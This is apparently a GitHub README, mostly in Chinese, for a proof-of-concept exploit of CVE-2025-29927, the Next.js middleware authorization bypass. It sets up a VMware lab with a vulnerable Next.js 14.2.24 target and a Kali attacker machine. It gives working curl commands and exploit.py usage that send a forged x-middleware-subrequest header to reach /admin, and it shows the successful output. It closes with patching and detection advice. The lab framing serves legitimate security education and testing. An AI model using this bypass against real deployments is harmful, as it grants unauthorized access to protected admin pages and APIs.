
Proof-of-concept exploit for CVE-2025-29927, a Next.js middleware authorization bypass. Includes a vulnerable target lab and Python script to verify the bypass by sending crafted x-middleware-subrequest headers.
一个用于本地授权靶场(VMware:Ubuntu 靶机 + Kali 攻击机)验证 CVE-2025-29927(Next.js Middleware Authorization Bypass)的小型 GitHub 项目。
⚠️ 免责声明:本项目仅用于安全教育、CTF 与你自己拥有/明确授权的靶场环境。 严禁用于任何未授权系统。因滥用本项目造成的后果由使用者自行承担。
| 项目 | 内容 |
|---|---|
| CVE | CVE-2025-29927 |
| 公开日期 | 2025-03-25(Next.js 官方安全公告) |
| 受影响组件 | Vercel Next.js(Node.js 全栈框架) |
| 漏洞类型 | 授权绕过 / Improper Authorization(CWE-863) |
| 影响版本 | < 12.3.5、< 13.5.9、< 14.2.25、< 15.2.3 |
| 修复版本 | 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3 及以上 |
| 危害定级 | Critical / 高危(具体分数以 NVD 页面为准) |
漏洞出现后大量生产环境的管理后台、支付回调、内页 API 被绕过,Metasploit 与 ProjectDiscovery Nuclei 均收录了检测模块,属于 2025 年最具代表性的 「框架级授权绕过」漏洞之一。
Next.js 允许把「鉴权逻辑」写在 middleware(中间件) 里,例如:
export function middleware(request) {
if (!isLogin(request)) return NextResponse.redirect("/login"); // 未登录 → 拦
return NextResponse.next();
}
问题是 Next.js 内部依赖一个客户端可以伪造的请求头来判定「这个请求是否已经 执行过中间件」:
x-middleware-subrequest: middleware
在受影响版本中,只要外部请求携带这个内部头,Next.js 会误以为中间件已经运行过,
于是整段鉴权中间件被跳过。攻击者不需要任何账号,直接带这个头访问
/admin 等受保护路由即可 200 直达——而页面自身通常信任中间件、不再二次校验,
授权检查就此失效(信任边界错误)。
💡 公开利用中最通用的取值是把中间件路径重复拼接的形态,例如
middleware:middleware:middleware:middleware:middleware; 单一middleware在部分版本/目录结构下不生效(本靶场 14.2.24 实测即如此)。 本 PoC 会轮询多种候选取值,命中任一即绕过成功。
CVE-2025-29927-PoC/
├── README.md # 本文档(漏洞说明 + VMware 靶场教程)
├── LICENSE # MIT
├── .gitignore
├── exploit.py # ★ Python3 纯标准库验证 PoC(Kali/任意机运行)
├── target/ # ★ 自建漏洞靶场(拷到 Ubuntu 靶机)
│ ├── package.json # 锁定 [email protected](受影响版本)
│ ├── middleware.js # 模拟真实生产的「鉴权中间件」
│ ├── pages/
│ │ ├── index.js # 首页
│ │ ├── login.js # 登录页(演示被重定向到这里)
│ │ └── admin.js # ★ 受保护后台,服务端读取 flag.txt
│ ├── flag.txt # 靶场旗标:FLAG{...}
│ ├── setup.sh # 靶机一键装 Node 20 + npm install + build
│ └── start.sh # 以生产模式监听 0.0.0.0:3000
└── tests/
└── mock_target.py # 免 Node 的模拟靶机(仅用于开发自测)
┌───────────────────────────────────────────────────────────┐
│ VMware Workstation Pro 17(宿主:Windows) │
│ 网络:NAT(默认 VMnet8),两台 VM 同网段、可互 ping │
│ │
│ ┌──────────────────┐ ┌─────────────────────┐ │
│ │ 靶机 Ubuntu 24.04 │ │ 攻击机 Kali Linux │ │
│ │ │ http │ │ │
│ │ Node 20 + Next │◄───────│ python3 exploit.py │ │
│ │ 14.2.24 :3000 │ GET │ │ │
│ └──────────────────┘ └─────────────────────┘ │
│ IP: <TARGET_IP> IP: <ATTACKER_IP> │
└───────────────────────────────────────────────────────────┘
以下步骤全部在 Ubuntu 靶机 上执行。
# 方式 A:把项目推到自己的 GitHub 后 clone(推荐,后面要推 GitHub 就用这个)
git clone https://github.com/<你的用户名>/CVE-2025-29927-PoC.git
cd CVE-2025-29927-PoC
# 方式 B:宿主机 scp 过去
# scp -r CVE-2025-29927-PoC ubuntu@<TARGET_IP>:~/
cd CVE-2025-29927-PoC/target
sudo bash setup.sh # 装 Node 20(LTS) + npm install + next build
setup.sh 内部做的事:更新 apt → 安装 curl/CA/build 工具 → 通过 NodeSource 安装
Node.js 20 LTS → npm install(拉取 [email protected] 等依赖)→ npm run build。
bash start.sh
# 看到 "▲ Next.js 14.2.24" 与 "Local: http://0.0.0.0:3000" 即成功
另开一个终端先做本地冒烟测试:
curl -s http://127.0.0.1:3000 # 首页,200
curl -s -o /dev/null -w "%{http_code}\n" http://127.0.0.1:3000/admin
# 期望输出 307 —— 未带 cookie 被 middleware 拦下(鉴权正常工作)
curl -s http://127.0.0.1:3000/admin # 观察 body 应是被重定向后的登录页内容
靶机防火墙默认不拦入站;若你开了 ufw:
sudo ufw allow 3000/tcp。
sudo apt update
python3 --version # Kali 自带 Python3,无需额外依赖(PoC 纯标准库)
ip -4 addr show # 记下 Kali 的 IP(如 192.168.x.xxx)
把 exploit.py 弄到 Kali(同一仓库 clone 一份,或 scp 单个文件),然后先确认两台
VM 互通:
ping <TARGET_IP> # 通 ↓
curl -s -o /dev/null -w "%{http_code}\n" http://<TARGET_IP>:3000 # 应输出 200
在 Kali 攻击机上执行:
python3 exploit.py -u http://<TARGET_IP>:3000
[1/3] 基线探测 GET /admin(无任何特殊头)
└─ 状态码 307 —— 被 middleware 正常拦截 ✓(漏洞环境就绪)
[2/3] 尝试绕过 x-middleware-subrequest: <候选值轮询>
└─ 头值='middleware:middleware:middleware:middleware:middleware' 状态码 200 —— 绕过成功!中间件被跳过 ✓
[3/3] 提取结果
└─ 后台页面已读取服务端 flag.txt:
FLAG{cve-2025-29927-lab-ok}
[+] 结论: VULNERABLE —— CVE-2025-29927 授权绕过验证通过
关键判读:同样的 URL,不带特殊头被 307 拦截,带了 x-middleware-subrequest
就 200 直达后台 —— 一次完整的「鉴权中间件绕过」验证闭环。
# ① 基线:应返回 307(重定向到 /login)
curl -i http://<TARGET_IP>:3000/admin | head -n 10
# ② 利用:应返回 200 且包含 FLAG{...}
curl -i -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
http://<TARGET_IP>:3000/admin | head -n 30
📌 实测注意:本靶场(Next 14.2.24 + 根目录
middleware.js)中,5 连值middleware:middleware:middleware:middleware:middleware生效,单一middleware不生效。curl 手测请直接用上面的 5 连值;不确定时跑exploit.py(自动轮询候选值)。
usage: exploit.py [-h] -u URL [--path PATH] [--timeout SECONDS]
[--delay SECONDS] [--insecure] [--verbose]
-u, --url URL 目标地址,如 http://192.168.162.10:3000
--path PATH 受保护路径,默认 /admin
--timeout SECONDS 单请求超时,默认 10
--delay SECONDS 轮询请求头候选值之间的间隔,默认 0
--insecure 跳过 HTTPS 证书校验
--verbose 打印每个候选头的响应状态,便于调试
退出码:0 = 验证存在漏洞;1 = 目标不受影响/请求全部失败;2 = 参数或环境错误
没有 VMware/不想先装 Node 时,可以用仓库自带的模拟靶机先跑通 PoC 逻辑 (宿主机有 Python3 即可,模拟「307 拦截 / 带特殊头 200」行为):
# 终端 1:启动模拟靶机(监听 127.0.0.1:8123)
python3 tests/mock_target.py
# 终端 2:验证
python3 exploit.py -u http://127.0.0.1:8123
# 期望同样输出 VULNERABLE 与 FLAG{mock-bypass-ok}
注意:模拟器只用于自测脚本逻辑;正式验证请务必在 5、6 节的真实靶场上完成。
npm i [email protected](或 15.2.3+ / 对应新版本),重新 build 部署;getServerSideProps / Route Handler / 后端 API 内二次校验身份;x-middleware-subrequest 头。# Nuclei 官方模板
nuclei -u http://<TARGET_IP>:3000 -t http/cves/2025/CVE-2025-29927.yaml
升级后重跑本 PoC,应输出「目标不受影响」——这就是修复前后对照的验收方式。
| 用途 | 镜像/软件 | 建议版本 |
|---|
| 虚拟机软件 | VMware Workstation Pro 17(个人使用已免费) | 17.x |
| 靶机镜像 | Ubuntu Server LTS ISO | 24.04.x |
| 攻击机 | Kali Linux(官方 VMware 预置镜像或 ISO 安装) | 2025.x |
| (可选) | 宿主机 8 GB 以上内存、50 GB 以上磁盘 | — |
| 现象 | 原因 / 解决 |
|---|
next start 提示端口被占 | lsof -i :3000 找到占用进程,或改用 -p 3001 |
curl http://<TARGET_IP>:3000 不通 | 两台 VM 不在同一 NAT 网段;检查 VMware 网络适配器均为 NAT,ip a 确认网段 |
访问 /admin 基线就是 200 | middleware 没生效:确认 middleware.js 位于 target/ 根目录且 setup.sh 构建成功 |
| 绕过头试了还是 307 | 不同版本/目录结构下生效取值不同:先跑 python3 exploit.py --verbose 看轮询结果;curl 手测请用 5 连值 middleware:middleware:middleware:middleware:middleware |
| Kali 无法 ping 通 Ubuntu | VMware NAT 下默认互通;仍不通则检查两机防火墙与快照还原 |
| 想换个 Next 版本验证 | 改 target/package.json 中 next 版本后重跑 npm install && npm run build |